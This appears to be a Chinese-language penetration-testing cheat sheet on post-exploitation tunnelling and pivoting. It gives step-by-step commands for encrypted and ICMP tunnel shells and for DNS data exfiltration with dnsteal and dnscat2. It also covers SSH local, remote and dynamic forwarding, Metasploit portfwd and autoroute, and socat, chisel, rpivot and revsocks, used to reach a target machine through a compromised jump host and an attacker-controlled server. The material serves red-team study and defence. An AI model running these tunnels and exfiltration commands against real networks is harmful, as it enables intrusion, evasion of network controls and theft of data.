加密shell
如ssh、socat, dnscat, cryptcat等,client连上Server后可以建立加密通信,Server能在client上执行命令、上传下载文件等。tunnelshell
可指定多种隧道、协议、端口:ICMP隧道
// 攻击器和客户机都需要下载安装
tar xvfz tunnelshell_2.3.tgz
make
// client
sudo ./tunneld -t icmp -m echo-reply,echo
// server
sudo ./tunnel -t icmp -m echo-reply,echo 192.168.240.147
泄露数据
dnsteal
// server
git clone https://github.com/m57/dnsteal
cd dnsteal/
python dnsteal.py 192.168.240.128 -z
流量转发
为原本不连通的机器、或被拦截的端口之间搭建桥梁,这种情况常涉及3台机器。这个就需要Client和Server建立通信后,还要配上流量转发功能。 举例: kali与win10网络不通,kali想借助centos为跳板访问win10的3389端口,以远程桌面访问: kali: 192.168.128.129 (攻击机器/本地机器) centos: 192.168.128.130, 192.168.1.132 (跳板机/SSH隧道机器) win10: 192.168.1.131 (目标机器)端口转发
SSH隧道-本地转发
本地端口转发是kali本机的ssh客户端起监听端口,并告诉跳板机centos上的ssh服务要转发流量。因此本地端口转发是在攻击机器上执行命令,监听端口启动在本机上,需要知道跳板机的账户密码。
ssh -L local-port:target-host:target-port -N tunnel-host
注:target-host是相对tunnel-host而言的,因为tunnel-host负责转发。
比如ssh -L 5900:localhost:5900 host3, localhost就是host3自己:
// 在本地机器(kali)执行
ssh -L 7000:192.168.1.131:3389 -fN user@192.168.128.130
// 如果本地机器是Windows,没有ssh的话可以使用plink.exe
plink.exe -L 7000:192.168.1.131:3389 user@192.168.128.130
SSH隧道-远程转发
远程转发是相对于上面的本地转发而言的。如果此时kali没法ssh登录centos,也就没法告诉centos的ssh服务转发流量。但反过来centos可以ssh登录kali,则可指定远程机器kali启动监听端口,并告诉kali我会转发流量。因此,远程转发是在跳板机上执行命令,监听端口启动在远程攻击机器上,需要知道攻击机的账户密码。
ssh -R remote-port:target-host:target-port -N remotehost
// 在跳板机(centos)上执行
ssh -R 7000:192.168.1.131:3389 -N kali@192.168.128.129
MSF portfwd
// 获取跳板机centos上的meterpreter shell
meterpreter> portfwd add -l 33489 -r 192.168.1.131 -p 3389
// kali
rdesktop localhost:33489
socat
// centos上执行,跳板机起监听端口,转发流量
socat TCP-LISTEN:7000,fork,reuseaddr tcp:192.168.1.131:3389 &
chisel
// kali,服务端
sudo apt install chisel
chisel server -p 8000 --reverse
// centos,客户端
git clone https://github.com/jpillora/chisel.git
cd chisel/
go build -ldflags="-s -w"
./chisel client 192.168.128.129:8000 R:5000:192.168.1.131:3389
dnscat2
DNS隧道工具dnscat2也提供了端口转发的功能
// kali
sudo apt install dnscat2
dnscat2-server
// centos
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/
cd client/
make
./dnscat --dns=server=192.168.128.129,port=53
// dnscat client连接上kali,在kali上操作centos上shell设置端口转发策略
session
session -i 1
listen 127.0.0.1:8888 192.168.1.131:3389
// kali
rdesktop localhost:8888
sshuttle
配置转发规则,对于访问某个网段或IP的TCP连接,转发到某个ssh服务上 没有使用成功。。。
// 在kali上执行
sudo apt install sshuttle
sshuttle -l 7000 -r user@192.168.128.130 192.168.1.0/24
内网穿透
上面的端口转发只能使得Attacker机器访问目标机器的固定端口;如果想访问跳板机所能访问到的任一内网机器,则需要在跳板机上搭建代理服务器,并在本机绑定某个端口,任何通过该端口的流量都通过本机与代理服务器之间的连接转发。SSH隧道-动态转发
ssh -D local-port tunnel-host -N
// 在kali机器上执行,会在kali上监听7000端口,发到这个端口的流量都转发给192.168.128.130
ssh -D 7000 -fN user@192.168.128.130
// 如果本地机器是Windows,没有ssh的话可以使用plink.exe
plink.exe -D 7000 user@192.168.128.130
1. 客户端支持设置代理
curl -x socks5://localhost:7000 http://www.example.com
2. 客户端不支持设置代理,则使用proxychains工具
sudo vim /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 7000
proxychains rdesktop 192.168.1.131
3. 不仅能访问192.168.1.131,还能访问192.168.1.0/24网段其他机器
proxychains ssh user@192.168.1.132
MSF autoroute+socks_proxy
对于MSF内部的模块比如portscan,如果要想访问子网192.168.240.0,需添加一条Pivote机器到网段192.168.100.0的路由。
msf > use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > run
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
chisel
// kali
chisel server -p 8000 --reverse
// centos
./chisel client 192.168.128.129:8000 R:socks
// kali
配置socks5代理 127.0.0.1:1080
proxychains rdesktop 192.168.1.131
rpivot
// kali
git clone https://github.com/klsecservices/rpivot.git
python server.py --server-port 9999 --server-ip 192.168.128.129 --proxy-ip 127.0.0.1 --proxy-port 1080
// centos
git clone https://github.com/klsecservices/rpivot.git
python client.py --server-ip 192.168.128.129 --server-port 9999
// kali
配置socks4代理 127.0.0.1:1080
proxychains rdesktop 192.168.1.131
revsocks
windows版chisel
// 本地机器上执行,类比例子中的kali
revsocks_windows_amd64.exe -listen :8443 -socks 0.0.0.0:1080 -pass test
// 跳板机上执行,类比例子中的centos
./revsocks_linux_amd64 -connect 192.168.128.129:8443 -pass test
// 本地机器配置socks5代理